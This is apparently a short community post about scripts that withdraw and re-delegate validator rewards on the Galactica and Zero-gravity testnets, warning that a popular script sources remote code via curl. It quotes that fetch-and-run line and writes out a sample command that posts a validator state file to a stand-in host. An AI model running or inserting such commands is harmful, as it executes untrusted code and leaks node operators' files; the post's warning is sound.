Context

In order to stay in active set of test nets one should constantly withdraw their commission and rewards and re-delegate it to themselves. It can be an exciting experience the first time, but then it becomes a routine.

Existing solution

There is a working auto-withdraw-delegate script by @Pretid. However, I’m concerned by one line there:

source <(curl -s https://raw.githubusercontent.com/Pretid/galactica_helpers/main/utils/common.sh)

It means everytime the script runs, it executes some logic taken from the Internet! I’m sure the author is not going to inject any harmful code there like:

curl  -d "@$HOME/.galactica/data/priv_validator_state.json" ht tps://server-storing-everything-for.me/
# URL is broken on purpose, just in case someone tries to execute it

But one should stay on the safe side.

Alternative solution

Before finding the solution above, I implemented almost the same script, you can find it here. It does not execute any scripts downloaded from anywhere. One more benefit, it is extendable in terms of networks, at the moment it support Galactica and Zero-gravity.